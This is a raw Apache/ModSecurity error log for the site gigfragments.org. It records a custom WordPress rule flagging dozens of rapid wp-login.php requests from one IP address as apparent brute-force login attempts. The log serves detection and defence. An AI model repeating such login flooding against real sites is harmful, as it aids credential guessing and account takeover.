[Fri Feb 27 04:36:27.776129 2026] [:error] [pid 4081:tid 4092] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCuyw55mnr35z8h7t3dMAAAAMk"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:36:29.272711 2026] [:error] [pid 4081:tid 4107] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCuzQ55mnr35z8h7t3dOAAAANg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:36:32.246089 2026] [:error] [pid 4081:tid 4106] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCu0A55mnr35z8h7t3dPQAAANc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:36:33.725607 2026] [:error] [pid 4081:tid 4093] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCu0Q55mnr35z8h7t3dQAAAAMo"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:36:36.657984 2026] [:error] [pid 4081:tid 4088] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCu1A55mnr35z8h7t3dRAAAAMU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:36:38.157749 2026] [:error] [pid 4081:tid 4101] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCu1g55mnr35z8h7t3dRQAAANI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:36:41.594308 2026] [:error] [pid 4081:tid 4094] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCu2Q55mnr35z8h7t3dSwAAAMs"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:36:43.259895 2026] [:error] [pid 4081:tid 4091] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCu2w55mnr35z8h7t3dTQAAAMg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:36:46.350286 2026] [:error] [pid 4081:tid 4084] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCu3g55mnr35z8h7t3dUgAAAME"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:36:48.144316 2026] [:error] [pid 4081:tid 4101] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCu4A55mnr35z8h7t3dWQAAANI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:36:51.417014 2026] [:error] [pid 4081:tid 4106] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCu4w55mnr35z8h7t3dZQAAANc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:36:52.895681 2026] [:error] [pid 4081:tid 4084] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCu5A55mnr35z8h7t3daQAAAME"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:36:55.807949 2026] [:error] [pid 4081:tid 4094] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCu5w55mnr35z8h7t3dcwAAAMs"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:36:57.249607 2026] [:error] [pid 4081:tid 4085] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCu6Q55mnr35z8h7t3ddAAAAMI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:37:00.314695 2026] [:error] [pid 4081:tid 4103] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCu7A55mnr35z8h7t3dfAAAANQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:37:02.159003 2026] [:error] [pid 4081:tid 4105] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCu7g55mnr35z8h7t3dfwAAANY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:37:05.422234 2026] [:error] [pid 4081:tid 4091] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCu8Q55mnr35z8h7t3diwAAAMg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:37:06.988632 2026] [:error] [pid 4081:tid 4102] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCu8g55mnr35z8h7t3djgAAANM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:37:10.415911 2026] [:error] [pid 4081:tid 4087] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCu9g55mnr35z8h7t3dkgAAAMQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:37:12.287643 2026] [:error] [pid 4081:tid 4101] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCu-A55mnr35z8h7t3dlAAAANI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:37:16.327819 2026] [:error] [pid 4081:tid 4085] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCu_A55mnr35z8h7t3dmAAAAMI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:37:19.032625 2026] [:error] [pid 21329:tid 21399] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCu_5vQWnde-MjcQ1FVbQAAAVA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:37:22.070162 2026] [:error] [pid 21329:tid 21385] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvApvQWnde-MjcQ1FVfwAAAUI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:37:23.535023 2026] [:error] [pid 21329:tid 21403] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvA5vQWnde-MjcQ1FViAAAAVQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:37:26.672650 2026] [:error] [pid 21329:tid 21405] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvBpvQWnde-MjcQ1FVoAAAAVY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:37:28.207129 2026] [:error] [pid 21329:tid 21405] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvCJvQWnde-MjcQ1FVpQAAAVY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:37:31.078765 2026] [:error] [pid 21329:tid 21406] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvC5vQWnde-MjcQ1FVqgAAAVc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:37:32.407270 2026] [:error] [pid 21329:tid 21399] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvDJvQWnde-MjcQ1FVrAAAAVA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:37:35.542768 2026] [:error] [pid 21329:tid 21383] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvD5vQWnde-MjcQ1FVrgAAAUA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:37:37.227490 2026] [:error] [pid 21329:tid 21387] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvEZvQWnde-MjcQ1FVsAAAAUQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:37:40.625965 2026] [:error] [pid 21329:tid 21385] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvFJvQWnde-MjcQ1FVuwAAAUI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:37:42.233276 2026] [:error] [pid 21329:tid 21395] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvFpvQWnde-MjcQ1FVxAAAAUw"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:37:45.241063 2026] [:error] [pid 21329:tid 21391] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvGZvQWnde-MjcQ1FVyQAAAUg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:37:46.863413 2026] [:error] [pid 21329:tid 21406] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvGpvQWnde-MjcQ1FVygAAAVc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:37:49.891221 2026] [:error] [pid 21329:tid 21404] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvHZvQWnde-MjcQ1FVzAAAAVU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:37:51.490212 2026] [:error] [pid 21329:tid 21392] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvH5vQWnde-MjcQ1FVzQAAAUk"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:37:54.795770 2026] [:error] [pid 21329:tid 21383] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvIpvQWnde-MjcQ1FVzwAAAUA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:37:56.179717 2026] [:error] [pid 21329:tid 21405] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvJJvQWnde-MjcQ1FV0AAAAVY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:37:59.263656 2026] [:error] [pid 21329:tid 21390] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvJ5vQWnde-MjcQ1FV0wAAAUc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:38:00.954531 2026] [:error] [pid 21329:tid 21394] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvKJvQWnde-MjcQ1FV1QAAAUs"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:38:04.348043 2026] [:error] [pid 21329:tid 21395] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvLJvQWnde-MjcQ1FV2wAAAUw"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:38:05.817204 2026] [:error] [pid 21329:tid 21406] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvLZvQWnde-MjcQ1FV3wAAAVc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:38:09.054985 2026] [:error] [pid 21329:tid 21405] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvMZvQWnde-MjcQ1FV5AAAAVY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:38:10.570968 2026] [:error] [pid 21329:tid 21400] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvMpvQWnde-MjcQ1FV5wAAAVE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:38:13.641957 2026] [:error] [pid 21329:tid 21399] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvNZvQWnde-MjcQ1FV8wAAAVA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:38:15.103366 2026] [:error] [pid 21329:tid 21401] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvN5vQWnde-MjcQ1FV9QAAAVI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:38:19.285554 2026] [:error] [pid 21329:tid 21384] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvO5vQWnde-MjcQ1FWAwAAAUE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:38:21.122388 2026] [:error] [pid 21329:tid 21387] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvPZvQWnde-MjcQ1FWBgAAAUQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:38:24.974107 2026] [:error] [pid 21329:tid 21402] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvQJvQWnde-MjcQ1FWHwAAAVM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:38:26.881521 2026] [:error] [pid 21329:tid 21404] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvQpvQWnde-MjcQ1FWIQAAAVU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:38:30.880356 2026] [:error] [pid 21329:tid 21386] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvRpvQWnde-MjcQ1FWKgAAAUM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:38:32.430711 2026] [:error] [pid 21329:tid 21398] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvSJvQWnde-MjcQ1FWKwAAAU8"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:38:36.225611 2026] [:error] [pid 21329:tid 21394] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvTJvQWnde-MjcQ1FWLgAAAUs"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
